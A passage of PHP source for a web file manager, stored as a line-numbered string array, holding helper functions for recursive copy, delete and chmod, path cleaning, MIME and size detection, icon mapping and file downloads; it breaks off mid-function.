\$ok = false;", 2228 => " }", 2229 => " }", 2230 => " }", 2231 => " }", 2232 => " return (\$ok) ? rmdir(\$path) : false;", 2233 => " } elseif (is_file(\$path)) {", 2234 => " return unlink(\$path);", 2235 => " }", 2236 => " return false;", 2237 => "}", 2238 => "", 2239 => "/**", 2240 => " * Recursive chmod", 2241 => " * @param string \$path", 2242 => " * @param int \$filemode", 2243 => " * @param int \$dirmode", 2244 => " * @return bool", 2245 => " * @todo Will use in mass chmod", 2246 => " */", 2247 => "function fm_rchmod(\$path, \$filemode, \$dirmode)", 2248 => "{", 2249 => " if (is_dir(\$path)) {", 2250 => " if (!chmod(\$path, \$dirmode)) {", 2251 => " return false;", 2252 => " }", 2253 => " \$objects = scandir(\$path);", 2254 => " if (is_array(\$objects)) {", 2255 => " foreach (\$objects as \$file) {", 2256 => " if (\$file != '.' && \$file != '..') {", 2257 => " if (!fm_rchmod(\$path . '/' . \$file, \$filemode, \$dirmode)) {", 2258 => " return false;", 2259 => " }", 2260 => " }", 2261 => " }", 2262 => " }", 2263 => " return true;", 2264 => " } elseif (is_link(\$path)) {", 2265 => " return true;", 2266 => " } elseif (is_file(\$path)) {", 2267 => " return chmod(\$path, \$filemode);", 2268 => " }", 2269 => " return false;", 2270 => "}", 2271 => "", 2272 => "/**", 2273 => " * Check the file extension which is allowed or not", 2274 => " * @param string \$filename", 2275 => " * @return bool", 2276 => " */", 2277 => "function fm_is_valid_ext(\$filename)", 2278 => "{", 2279 => " \$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;", 2280 => "", 2281 => " \$ext = pathinfo(\$filename, PATHINFO_EXTENSION);", 2282 => " \$isFileAllowed = (\$allowed) ? in_array(\$ext, \$allowed) : true;", 2283 => "", 2284 => " return (\$isFileAllowed) ? true : false;", 2285 => "}", 2286 => "", 2287 => "/**", 2288 => " * Safely rename", 2289 => " * @param string \$old", 2290 => " * @param string \$new", 2291 => " * @return bool|null", 2292 => " */", 2293 => "function fm_rename(\$old, \$new)", 2294 => "{", 2295 => " \$isFileAllowed = fm_is_valid_ext(\$new);", 2296 => "", 2297 => " if(!\$isFileAllowed) return false;", 2298 => "", 2299 => " return (!file_exists(\$new) && file_exists(\$old)) ? rename(\$old, \$new) : null;", 2300 => "}", 2301 => "", 2302 => "/**", 2303 => " * Copy file or folder (recursively).", 2304 => " * @param string \$path", 2305 => " * @param string \$dest", 2306 => " * @param bool \$upd Update files", 2307 => " * @param bool \$force Create folder with same names instead file", 2308 => " * @return bool", 2309 => " */", 2310 => "function fm_rcopy(\$path, \$dest, \$upd = true, \$force = true)", 2311 => "{", 2312 => " if (is_dir(\$path)) {", 2313 => " if (!fm_mkdir(\$dest, \$force)) {", 2314 => " return false;", 2315 => " }", 2316 => " \$objects = scandir(\$path);", 2317 => " \$ok = true;", 2318 => " if (is_array(\$objects)) {", 2319 => " foreach (\$objects as \$file) {", 2320 => " if (\$file != '.' && \$file != '..') {", 2321 => " if (!fm_rcopy(\$path . '/' . \$file, \$dest . '/' . \$file)) {", 2322 => " \$ok = false;", 2323 => " }", 2324 => " }", 2325 => " }", 2326 => " }", 2327 => " return \$ok;", 2328 => " } elseif (is_file(\$path)) {", 2329 => " return fm_copy(\$path, \$dest, \$upd);", 2330 => " }", 2331 => " return false;", 2332 => "}", 2333 => "", 2334 => "/**", 2335 => " * Safely create folder", 2336 => " * @param string \$dir", 2337 => " * @param bool \$force", 2338 => " * @return bool", 2339 => " */", 2340 => "function fm_mkdir(\$dir, \$force)", 2341 => "{", 2342 => " if (file_exists(\$dir)) {", 2343 => " if (is_dir(\$dir)) {", 2344 => " return \$dir;", 2345 => " } elseif (!\$force) {", 2346 => " return false;", 2347 => " }", 2348 => " unlink(\$dir);", 2349 => " }", 2350 => " return mkdir(\$dir, 0777, true);", 2351 => "}", 2352 => "", 2353 => "/**", 2354 => " * Safely copy file", 2355 => " * @param string \$f1", 2356 => " * @param string \$f2", 2357 => " * @param bool \$upd Indicates if file should be updated with new content", 2358 => " * @return bool", 2359 => " */", 2360 => "function fm_copy(\$f1, \$f2, \$upd)", 2361 => "{", 2362 => " \$time1 = filemtime(\$f1);", 2363 => " if (file_exists(\$f2)) {", 2364 => " \$time2 = filemtime(\$f2);", 2365 => " if (\$time2 >= \$time1 && \$upd) {", 2366 => " return false;", 2367 => " }", 2368 => " }", 2369 => " \$ok = copy(\$f1, \$f2);", 2370 => " if (\$ok) {", 2371 => " touch(\$f2, \$time1);", 2372 => " }", 2373 => " return \$ok;", 2374 => "}", 2375 => "", 2376 => "/**", 2377 => " * Get mime type", 2378 => " * @param string \$file_path", 2379 => " * @return mixed|string", 2380 => " */", 2381 => "function fm_get_mime_type(\$file_path)", 2382 => "{", 2383 => " if (function_exists('finfo_open')) {", 2384 => " \$finfo = finfo_open(FILEINFO_MIME_TYPE);", 2385 => " \$mime = finfo_file(\$finfo, \$file_path);", 2386 => " finfo_close(\$finfo);", 2387 => " return \$mime;", 2388 => " } elseif (function_exists('mime_content_type')) {", 2389 => " return mime_content_type(\$file_path);", 2390 => " } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {", 2391 => " \$file = escapeshellarg(\$file_path);", 2392 => " \$mime = shell_exec('file -bi ' . \$file);", 2393 => " return \$mime;", 2394 => " } else {", 2395 => " return '--';", 2396 => " }", 2397 => "}", 2398 => "", 2399 => "/**", 2400 => " * HTTP Redirect", 2401 => " * @param string \$url", 2402 => " * @param int \$code", 2403 => " */", 2404 => "function fm_redirect(\$url, \$code = 302)", 2405 => "{", 2406 => " header('Location: ' . \$url, true, \$code);", 2407 => " exit;", 2408 => "}", 2409 => "", 2410 => "/**", 2411 => " * Path traversal prevention and clean the url", 2412 => " * It replaces (consecutive) occurrences of / and \\\\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.", 2413 => " * @param \$path", 2414 => " * @return string", 2415 => " */", 2416 => "function get_absolute_path(\$path) {", 2417 => " \$path = str_replace(array('/', '\\\\'), DIRECTORY_SEPARATOR, \$path);", 2418 => " \$parts = array_filter(explode(DIRECTORY_SEPARATOR, \$path), 'strlen');", 2419 => " \$absolutes = array();", 2420 => " foreach (\$parts as \$part) {", 2421 => " if ('.' == \$part) continue;", 2422 => " if ('..' == \$part) {", 2423 => " array_pop(\$absolutes);", 2424 => " } else {", 2425 => " \$absolutes[] = \$part;", 2426 => " }", 2427 => " }", 2428 => " return implode(DIRECTORY_SEPARATOR, \$absolutes);", 2429 => "}", 2430 => "", 2431 => "/**", 2432 => " * Clean path", 2433 => " * @param string \$path", 2434 => " * @return string", 2435 => " */", 2436 => "function fm_clean_path(\$path, \$trim = true)", 2437 => "{", 2438 => " \$path = \$trim ? trim(\$path) : \$path;", 2439 => " \$path = trim(\$path, '\\\\/');", 2440 => " \$path = str_replace(array('../', '..\\\\'), '', \$path);", 2441 => " \$path = get_absolute_path(\$path);", 2442 => " if (\$path == '..') {", 2443 => " \$path = '';", 2444 => " }", 2445 => " return str_replace('\\\\', '/', \$path);", 2446 => "}", 2447 => "", 2448 => "/**", 2449 => " * Get parent path", 2450 => " * @param string \$path", 2451 => " * @return bool|string", 2452 => " */", 2453 => "function fm_get_parent_path(\$path)", 2454 => "{", 2455 => " \$path = fm_clean_path(\$path);", 2456 => " if (\$path != '') {", 2457 => " \$array = explode('/', \$path);", 2458 => " if (count(\$array) > 1) {", 2459 => " \$array = array_slice(\$array, 0, -1);", 2460 => " return implode('/', \$array);", 2461 => " }", 2462 => " return '';", 2463 => " }", 2464 => " return false;", 2465 => "}", 2466 => "", 2467 => "/**", 2468 => " * Check file is in exclude list", 2469 => " * @param string \$file", 2470 => " * @return bool", 2471 => " */", 2472 => "function fm_is_exclude_items(\$file) {", 2473 => " \$ext = strtolower(pathinfo(\$file, PATHINFO_EXTENSION));", 2474 => " if (isset(\$exclude_items) and sizeof(\$exclude_items)) {", 2475 => " unset(\$exclude_items);", 2476 => " }", 2477 => "", 2478 => " \$exclude_items = FM_EXCLUDE_ITEMS;", 2479 => " if (version_compare(PHP_VERSION, '7.0.0', '<')) {", 2480 => " \$exclude_items = unserialize(\$exclude_items);", 2481 => " }", 2482 => " if (!in_array(\$file, \$exclude_items) && !in_array(\"*.\$ext\", \$exclude_items)) {", 2483 => " return true;", 2484 => " }", 2485 => " return false;", 2486 => "}", 2487 => "", 2488 => "/**", 2489 => " * get language translations from json file", 2490 => " * @param int \$tr", 2491 => " * @return array", 2492 => " */", 2493 => "function fm_get_translations(\$tr) {", 2494 => " try {", 2495 => " \$content = @file_get_contents('translation.json');", 2496 => " if(\$content !== FALSE) {", 2497 => " \$lng = json_decode(\$content, TRUE);", 2498 => " global \$lang_list;", 2499 => " foreach (\$lng[\"language\"] as \$key => \$value)", 2500 => " {", 2501 => " \$code = \$value[\"code\"];", 2502 => " \$lang_list[\$code] = \$value[\"name\"];", 2503 => " if (\$tr)", 2504 => " \$tr[\$code] = \$value[\"translation\"];", 2505 => " }", 2506 => " return \$tr;", 2507 => " }", 2508 => "", 2509 => " }", 2510 => " catch (Exception \$e) {", 2511 => " echo \$e;", 2512 => " }", 2513 => "}", 2514 => "", 2515 => "/**", 2516 => " * @param \$file", 2517 => " * Recover all file sizes larger than > 2GB.", 2518 => " * Works on php 32bits and 64bits and supports linux", 2519 => " * @return int|string", 2520 => " */", 2521 => "function fm_get_size(\$file)", 2522 => "{", 2523 => " static \$iswin;", 2524 => " static \$isdarwin;", 2525 => " if (!isset(\$iswin)) {", 2526 => " \$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');", 2527 => " }", 2528 => " if (!isset(\$isdarwin)) {", 2529 => " \$isdarwin = (strtoupper(substr(PHP_OS, 0)) == \"DARWIN\");", 2530 => " }", 2531 => "", 2532 => " static \$exec_works;", 2533 => " if (!isset(\$exec_works)) {", 2534 => " \$exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');", 2535 => " }", 2536 => "", 2537 => " // try a shell command", 2538 => " if (\$exec_works) {", 2539 => " \$arg = escapeshellarg(\$file);", 2540 => " \$cmd = (\$iswin) ? \"for %F in (\\\"\$file\\\") do @echo %~zF\" : (\$isdarwin ? \"stat -f%z \$arg\" : \"stat -c%s \$arg\");", 2541 => " @exec(\$cmd, \$output);", 2542 => " if (is_array(\$output) && ctype_digit(\$size = trim(implode(\"\\n\", \$output)))) {", 2543 => " return \$size;", 2544 => " }", 2545 => " }", 2546 => "", 2547 => " // try the Windows COM interface", 2548 => " if (\$iswin && class_exists(\"COM\")) {", 2549 => " try {", 2550 => " \$fsobj = new COM('Scripting.FileSystemObject');", 2551 => " \$f = \$fsobj->GetFile( realpath(\$file) );", 2552 => " \$size = \$f->Size;", 2553 => " } catch (Exception \$e) {", 2554 => " \$size = null;", 2555 => " }", 2556 => " if (ctype_digit(\$size)) {", 2557 => " return \$size;", 2558 => " }", 2559 => " }", 2560 => "", 2561 => " // if all else fails", 2562 => " return filesize(\$file);", 2563 => "}", 2564 => "", 2565 => "/**", 2566 => " * Get nice filesize", 2567 => " * @param int \$size", 2568 => " * @return string", 2569 => " */", 2570 => "function fm_get_filesize(\$size)", 2571 => "{", 2572 => " \$size = (float) \$size;", 2573 => " \$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');", 2574 => " \$power = (\$size > 0) ? floor(log(\$size, 1024)) : 0;", 2575 => " \$power = (\$power > (count(\$units) - 1)) ? (count(\$units) - 1) : \$power;", 2576 => " return sprintf('%s %s', round(\$size / pow(1024, \$power), 2), \$units[\$power]);", 2577 => "}", 2578 => "", 2579 => "/**", 2580 => " * Get total size of directory tree.", 2581 => " *", 2582 => " * @param string \$directory Relative or absolute directory name.", 2583 => " * @return int Total number of bytes.", 2584 => " */", 2585 => "function fm_get_directorysize(\$directory) {", 2586 => " \$bytes = 0;", 2587 => " \$directory = realpath(\$directory);", 2588 => " if (\$directory !== false && \$directory != '' && file_exists(\$directory)){", 2589 => " foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$directory, FilesystemIterator::SKIP_DOTS)) as \$file){", 2590 => " \$bytes += \$file->getSize();", 2591 => " }", 2592 => " }", 2593 => " return \$bytes;", 2594 => "}", 2595 => "", 2596 => "/**", 2597 => " * Get info about zip archive", 2598 => " * @param string \$path", 2599 => " * @return array|bool", 2600 => " */", 2601 => "function fm_get_zif_info(\$path, \$ext) {", 2602 => " if (\$ext == 'zip' && function_exists('zip_open')) {", 2603 => " \$arch = zip_open(\$path);", 2604 => " if (\$arch) {", 2605 => " \$filenames = array();", 2606 => " while (\$zip_entry = zip_read(\$arch)) {", 2607 => " \$zip_name = zip_entry_name(\$zip_entry);", 2608 => " \$zip_folder = substr(\$zip_name, -1) == '/';", 2609 => " \$filenames[] = array(", 2610 => " 'name' => \$zip_name,", 2611 => " 'filesize' => zip_entry_filesize(\$zip_entry),", 2612 => " 'compressed_size' => zip_entry_compressedsize(\$zip_entry),", 2613 => " 'folder' => \$zip_folder", 2614 => " //'compression_method' => zip_entry_compressionmethod(\$zip_entry),", 2615 => " );", 2616 => " }", 2617 => " zip_close(\$arch);", 2618 => " return \$filenames;", 2619 => " }", 2620 => " } elseif(\$ext == 'tar' && class_exists('PharData')) {", 2621 => " \$archive = new PharData(\$path);", 2622 => " \$filenames = array();", 2623 => " foreach(new RecursiveIteratorIterator(\$archive) as \$file) {", 2624 => " \$parent_info = \$file->getPathInfo();", 2625 => " \$zip_name = str_replace(\"phar://\".\$path, '', \$file->getPathName());", 2626 => " \$zip_name = substr(\$zip_name, (\$pos = strpos(\$zip_name, '/')) !== false ? \$pos + 1 : 0);", 2627 => " \$zip_folder = \$parent_info->getFileName();", 2628 => " \$zip_info = new SplFileInfo(\$file);", 2629 => " \$filenames[] = array(", 2630 => " 'name' => \$zip_name,", 2631 => " 'filesize' => \$zip_info->getSize(),", 2632 => " 'compressed_size' => \$file->getCompressedSize(),", 2633 => " 'folder' => \$zip_folder", 2634 => " );", 2635 => " }", 2636 => " return \$filenames;", 2637 => " }", 2638 => " return false;", 2639 => "}", 2640 => "", 2641 => "/**", 2642 => " * Encode html entities", 2643 => " * @param string \$text", 2644 => " * @return string", 2645 => " */", 2646 => "function fm_enc(\$text)", 2647 => "{", 2648 => " return htmlspecialchars(\$text, ENT_QUOTES, 'UTF-8');", 2649 => "}", 2650 => "", 2651 => "/**", 2652 => " * Prevent XSS attacks", 2653 => " * @param string \$text", 2654 => " * @return string", 2655 => " */", 2656 => "function fm_isvalid_filename(\$text) {", 2657 => " return (strpbrk(\$text, '/?%*:|\"<>') === FALSE) ? true : false;", 2658 => "}", 2659 => "", 2660 => "/**", 2661 => " * Save message in session", 2662 => " * @param string \$msg", 2663 => " * @param string \$status", 2664 => " */", 2665 => "function fm_set_msg(\$msg, \$status = 'ok')", 2666 => "{", 2667 => " \$_SESSION[FM_SESSION_ID]['message'] = \$msg;", 2668 => " \$_SESSION[FM_SESSION_ID]['status'] = \$status;", 2669 => "}", 2670 => "", 2671 => "/**", 2672 => " * Check if string is in UTF-8", 2673 => " * @param string \$string", 2674 => " * @return int", 2675 => " */", 2676 => "function fm_is_utf8(\$string)", 2677 => "{", 2678 => " return preg_match('//u', \$string);", 2679 => "}", 2680 => "", 2681 => "/**", 2682 => " * Convert file name to UTF-8 in Windows", 2683 => " * @param string \$filename", 2684 => " * @return string", 2685 => " */", 2686 => "function fm_convert_win(\$filename)", 2687 => "{", 2688 => " if (FM_IS_WIN && function_exists('iconv')) {", 2689 => " \$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', \$filename);", 2690 => " }", 2691 => " return \$filename;", 2692 => "}", 2693 => "", 2694 => "/**", 2695 => " * @param \$obj", 2696 => " * @return array", 2697 => " */", 2698 => "function fm_object_to_array(\$obj)", 2699 => "{", 2700 => " if (!is_object(\$obj) && !is_array(\$obj)) {", 2701 => " return \$obj;", 2702 => " }", 2703 => " if (is_object(\$obj)) {", 2704 => " \$obj = get_object_vars(\$obj);", 2705 => " }", 2706 => " return array_map('fm_object_to_array', \$obj);", 2707 => "}", 2708 => "", 2709 => "/**", 2710 => " * Get CSS classname for file", 2711 => " * @param string \$path", 2712 => " * @return string", 2713 => " */", 2714 => "function fm_get_file_icon_class(\$path)", 2715 => "{", 2716 => " // get extension", 2717 => " \$ext = strtolower(pathinfo(\$path, PATHINFO_EXTENSION));", 2718 => "", 2719 => " switch (\$ext) {", 2720 => " case 'ico':", 2721 => " case 'gif':", 2722 => " case 'jpg':", 2723 => " case 'jpeg':", 2724 => " case 'jpc':", 2725 => " case 'jp2':", 2726 => " case 'jpx':", 2727 => " case 'xbm':", 2728 => " case 'wbmp':", 2729 => " case 'png':", 2730 => " case 'bmp':", 2731 => " case 'tif':", 2732 => " case 'tiff':", 2733 => " case 'webp':", 2734 => " case 'avif':", 2735 => " case 'svg':", 2736 => " \$img = 'fa fa-picture-o';", 2737 => " break;", 2738 => " case 'passwd':", 2739 => " case 'ftpquota':", 2740 => " case 'sql':", 2741 => " case 'js':", 2742 => " case 'json':", 2743 => " case 'sh':", 2744 => " case 'config':", 2745 => " case 'twig':", 2746 => " case 'tpl':", 2747 => " case 'md':", 2748 => " case 'gitignore':", 2749 => " case 'c':", 2750 => " case 'cpp':", 2751 => " case 'cs':", 2752 => " case 'py':", 2753 => " case 'rs':", 2754 => " case 'map':", 2755 => " case 'lock':", 2756 => " case 'dtd':", 2757 => " \$img = 'fa fa-file-code-o';", 2758 => " break;", 2759 => " case 'txt':", 2760 => " case 'ini':", 2761 => " case 'conf':", 2762 => " case 'log':", 2763 => " case 'htaccess':", 2764 => " \$img = 'fa fa-file-text-o';", 2765 => " break;", 2766 => " case 'css':", 2767 => " case 'less':", 2768 => " case 'sass':", 2769 => " case 'scss':", 2770 => " \$img = 'fa fa-css3';", 2771 => " break;", 2772 => " case 'bz2':", 2773 => " case 'zip':", 2774 => " case 'rar':", 2775 => " case 'gz':", 2776 => " case 'tar':", 2777 => " case '7z':", 2778 => " case 'xz':", 2779 => " \$img = 'fa fa-file-archive-o';", 2780 => " break;", 2781 => " case 'php':", 2782 => " case 'php4':", 2783 => " case 'php5':", 2784 => " case 'phps':", 2785 => " case 'phtml':", 2786 => " \$img = 'fa fa-code';", 2787 => " break;", 2788 => " case 'htm':", 2789 => " case 'html':", 2790 => " case 'shtml':", 2791 => " case 'xhtml':", 2792 => " \$img = 'fa fa-html5';", 2793 => " break;", 2794 => " case 'xml':", 2795 => " case 'xsl':", 2796 => " \$img = 'fa fa-file-excel-o';", 2797 => " break;", 2798 => " case 'wav':", 2799 => " case 'mp3':", 2800 => " case 'mp2':", 2801 => " case 'm4a':", 2802 => " case 'aac':", 2803 => " case 'ogg':", 2804 => " case 'oga':", 2805 => " case 'wma':", 2806 => " case 'mka':", 2807 => " case 'flac':", 2808 => " case 'ac3':", 2809 => " case 'tds':", 2810 => " \$img = 'fa fa-music';", 2811 => " break;", 2812 => " case 'm3u':", 2813 => " case 'm3u8':", 2814 => " case 'pls':", 2815 => " case 'cue':", 2816 => " case 'xspf':", 2817 => " \$img = 'fa fa-headphones';", 2818 => " break;", 2819 => " case 'avi':", 2820 => " case 'mpg':", 2821 => " case 'mpeg':", 2822 => " case 'mp4':", 2823 => " case 'm4v':", 2824 => " case 'flv':", 2825 => " case 'f4v':", 2826 => " case 'ogm':", 2827 => " case 'ogv':", 2828 => " case 'mov':", 2829 => " case 'mkv':", 2830 => " case '3gp':", 2831 => " case 'asf':", 2832 => " case 'wmv':", 2833 => " \$img = 'fa fa-file-video-o';", 2834 => " break;", 2835 => " case 'eml':", 2836 => " case 'msg':", 2837 => " \$img = 'fa fa-envelope-o';", 2838 => " break;", 2839 => " case 'xls':", 2840 => " case 'xlsx':", 2841 => " case 'ods':", 2842 => " \$img = 'fa fa-file-excel-o';", 2843 => " break;", 2844 => " case 'csv':", 2845 => " \$img = 'fa fa-file-text-o';", 2846 => " break;", 2847 => " case 'bak':", 2848 => " case 'swp':", 2849 => " \$img = 'fa fa-clipboard';", 2850 => " break;", 2851 => " case 'doc':", 2852 => " case 'docx':", 2853 => " case 'odt':", 2854 => " \$img = 'fa fa-file-word-o';", 2855 => " break;", 2856 => " case 'ppt':", 2857 => " case 'pptx':", 2858 => " \$img = 'fa fa-file-powerpoint-o';", 2859 => " break;", 2860 => " case 'ttf':", 2861 => " case 'ttc':", 2862 => " case 'otf':", 2863 => " case 'woff':", 2864 => " case 'woff2':", 2865 => " case 'eot':", 2866 => " case 'fon':", 2867 => " \$img = 'fa fa-font';", 2868 => " break;", 2869 => " case 'pdf':", 2870 => " \$img = 'fa fa-file-pdf-o';", 2871 => " break;", 2872 => " case 'psd':", 2873 => " case 'ai':", 2874 => " case 'eps':", 2875 => " case 'fla':", 2876 => " case 'swf':", 2877 => " \$img = 'fa fa-file-image-o';", 2878 => " break;", 2879 => " case 'exe':", 2880 => " case 'msi':", 2881 => " \$img = 'fa fa-file-o';", 2882 => " break;", 2883 => " case 'bat':", 2884 => " \$img = 'fa fa-terminal';", 2885 => " break;", 2886 => " default:", 2887 => " \$img = 'fa fa-info-circle';", 2888 => " }", 2889 => "", 2890 => " return \$img;", 2891 => "}", 2892 => "", 2893 => "/**", 2894 => " * Get image files extensions", 2895 => " * @return array", 2896 => " */", 2897 => "function fm_get_image_exts()", 2898 => "{", 2899 => " return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');", 2900 => "}", 2901 => "", 2902 => "/**", 2903 => " * Get video files extensions", 2904 => " * @return array", 2905 => " */", 2906 => "function fm_get_video_exts()", 2907 => "{", 2908 => " return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');", 2909 => "}", 2910 => "", 2911 => "/**", 2912 => " * Get audio files extensions", 2913 => " * @return array", 2914 => " */", 2915 => "function fm_get_audio_exts()", 2916 => "{", 2917 => " return array('wav', 'mp3', 'ogg', 'm4a');", 2918 => "}", 2919 => "", 2920 => "/**", 2921 => " * Get text file extensions", 2922 => " * @return array", 2923 => " */", 2924 => "function fm_get_text_exts()", 2925 => "{", 2926 => " return array(", 2927 => " 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',", 2928 => " 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',", 2929 => " 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',", 2930 => " 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'", 2931 => " );", 2932 => "}", 2933 => "", 2934 => "/**", 2935 => " * Get mime types of text files", 2936 => " * @return array", 2937 => " */", 2938 => "function fm_get_text_mimes()", 2939 => "{", 2940 => " return array(", 2941 => " 'application/xml',", 2942 => " 'application/javascript',", 2943 => " 'application/x-javascript',", 2944 => " 'image/svg+xml',", 2945 => " 'message/rfc822',", 2946 => " );", 2947 => "}", 2948 => "", 2949 => "/**", 2950 => " * Get file names of text files w/o extensions", 2951 => " * @return array", 2952 => " */", 2953 => "function fm_get_text_names()", 2954 => "{", 2955 => " return array(", 2956 => " 'license',", 2957 => " 'readme',", 2958 => " 'authors',", 2959 => " 'contributors',", 2960 => " 'changelog',", 2961 => " );", 2962 => "}", 2963 => "", 2964 => "/**", 2965 => " * Get online docs viewer supported files extensions", 2966 => " * @return array", 2967 => " */", 2968 => "function fm_get_onlineViewer_exts()", 2969 => "{", 2970 => " return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');", 2971 => "}", 2972 => "", 2973 => "function fm_get_file_mimes(\$extension)", 2974 => "{", 2975 => " \$fileTypes['swf'] = 'application/x-shockwave-flash';", 2976 => " \$fileTypes['pdf'] = 'application/pdf';", 2977 => " \$fileTypes['exe'] = 'application/octet-stream';", 2978 => " \$fileTypes['zip'] = 'application/zip';", 2979 => " \$fileTypes['doc'] = 'application/msword';", 2980 => " \$fileTypes['xls'] = 'application/vnd.ms-excel';", 2981 => " \$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';", 2982 => " \$fileTypes['gif'] = 'image/gif';", 2983 => " \$fileTypes['png'] = 'image/png';", 2984 => " \$fileTypes['jpeg'] = 'image/jpg';", 2985 => " \$fileTypes['jpg'] = 'image/jpg';", 2986 => " \$fileTypes['webp'] = 'image/webp';", 2987 => " \$fileTypes['avif'] = 'image/avif';", 2988 => " \$fileTypes['rar'] = 'application/rar';", 2989 => "", 2990 => " \$fileTypes['ra'] = 'audio/x-pn-realaudio';", 2991 => " \$fileTypes['ram'] = 'audio/x-pn-realaudio';", 2992 => " \$fileTypes['ogg'] = 'audio/x-pn-realaudio';", 2993 => "", 2994 => " \$fileTypes['wav'] = 'video/x-msvideo';", 2995 => " \$fileTypes['wmv'] = 'video/x-msvideo';", 2996 => " \$fileTypes['avi'] = 'video/x-msvideo';", 2997 => " \$fileTypes['asf'] = 'video/x-msvideo';", 2998 => " \$fileTypes['divx'] = 'video/x-msvideo';", 2999 => "", 3000 => " \$fileTypes['mp3'] = 'audio/mpeg';", 3001 => " \$fileTypes['mp4'] = 'audio/mpeg';", 3002 => " \$fileTypes['mpeg'] = 'video/mpeg';", 3003 => " \$fileTypes['mpg'] = 'video/mpeg';", 3004 => " \$fileTypes['mpe'] = 'video/mpeg';", 3005 => " \$fileTypes['mov'] = 'video/quicktime';", 3006 => " \$fileTypes['swf'] = 'video/quicktime';", 3007 => " \$fileTypes['3gp'] = 'video/quicktime';", 3008 => " \$fileTypes['m4a'] = 'video/quicktime';", 3009 => " \$fileTypes['aac'] = 'video/quicktime';", 3010 => " \$fileTypes['m3u'] = 'video/quicktime';", 3011 => "", 3012 => " \$fileTypes['php'] = ['application/x-php'];", 3013 => " \$fileTypes['html'] = ['text/html'];", 3014 => " \$fileTypes['txt'] = ['text/plain'];", 3015 => " //Unknown mime-types should be 'application/octet-stream'", 3016 => " if(empty(\$fileTypes[\$extension])) {", 3017 => " \$fileTypes[\$extension] = ['application/octet-stream'];", 3018 => " }", 3019 => " return \$fileTypes[\$extension];", 3020 => "}", 3021 => "", 3022 => "/**", 3023 => " * This function scans the files and folder recursively, and return matching files", 3024 => " * @param string \$dir", 3025 => " * @param string \$filter", 3026 => " * @return json", 3027 => " */", 3028 => " function scan(\$dir, \$filter = '') {", 3029 => " \$path = FM_ROOT_PATH.'/'.\$dir;", 3030 => " if(\$dir) {", 3031 => " \$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$path));", 3032 => " \$rii = new RegexIterator(\$ite, \"/(\" . \$filter . \")/i\");", 3033 => "", 3034 => " \$files = array();", 3035 => " foreach (\$rii as \$file) {", 3036 => " if (!\$file->isDir()) {", 3037 => " \$fileName = \$file->getFilename();", 3038 => " \$location = str_replace(FM_ROOT_PATH, '', \$file->getPath());", 3039 => " \$files[] = array(", 3040 => " \"name\" => \$fileName,", 3041 => " \"type\" => \"file\",", 3042 => " \"path\" => \$location,", 3043 => " );", 3044 => " }", 3045 => " }", 3046 => " return \$files;", 3047 => " }", 3048 => "}", 3049 => "", 3050 => "/*", 3051 => "Parameters: downloadFile(File Location, File Name,", 3052 => "max speed, is streaming", 3053 => "If streaming - videos will show as videos, images as images", 3054 => "instead of download prompt", 3055 => "https://stackoverflow.com/a/13821992/1164642", 3056 => "*/", 3057 => "", 3058 => "function fm_download_file(\$fileLocation, \$fileName, \$chunkSize = 1024)", 3059 => "{", 3060 => " if (connection_status() != 0)", 3061 => " return (false);", 3062 => " \$extension = pathinfo(\$fileName, PATHINFO_EXTENSION);", 3063 => "", 3064 => " \$contentType = fm_get_file_mimes(\$extension);", 3065 => "", 3066 => " if(is_array(\$contentType)) {", 3067 => " \$contentType = implode(' ', \$contentType);", 3068 => " }", 3069 => "", 3070 => " header(\"Cache-Control: public\");", 3071 => " header(\"Content-Transfer-Encoding: binary\\n\");", 3072 => " header(\"Content-Type: \$contentType\");", 3073 => "", 3074 => " \$contentDisposition = 'attachment';", 3075 => "", 3076 => "", 3077 => " if (strstr(\$_SERVER['HTTP_USER_AGENT'], \"MSIE\")) {", 3078 => " \$fileName = preg_replace('/\\./', '%2e', \$fileName, substr_count(\$fileName, '.') - 1);", 3079 => " header(\"Content-Disposition: \$contentDisposition;filename=\\\"\$fileName\\\"\");", 3080 => " } else {", 3081 => " header(\"Content-Disposition: \$contentDisposition;filename=\\\"\$fileName\\\"\");", 3082 => " }", 3083 => "", 3084 => " header(\"Accept-Ranges: bytes\");", 3085 => " \$range = 0;", 3086 => " \$size = filesize(\$fileLocation);", 3087 => "", 3088 => " if (isset(\$_SERVER['HTTP_RANGE'])) {", 3089 => " list(\$a, \$range) = explode(\"=\", \$_SERVER['HTTP_RANGE']);", 3090 => " str_replace(\$range, \"-\", \$range);", 3091 => " \$size2 = \$size - 1;", 3092 => " \$new_length = \$size - \$range;", 3093 => " header(\"HTTP/1.1 206 Partial Content\");", 3094 => " header(\"Content-Length: \$new_length\");", 3095 => " header(\"Content-Range: bytes \$range\$size2/\$size\");", 3096 => " } else {", 3097 => " \$size2 = \$size - 1;", 3098 => " header(\"Content-Range: bytes 0-\$size2/\$size\");", 3099 => " header(\"Content-Length: \" . \$size);", 3100 => " }", 3101 => "", 3102 => " if (\$size 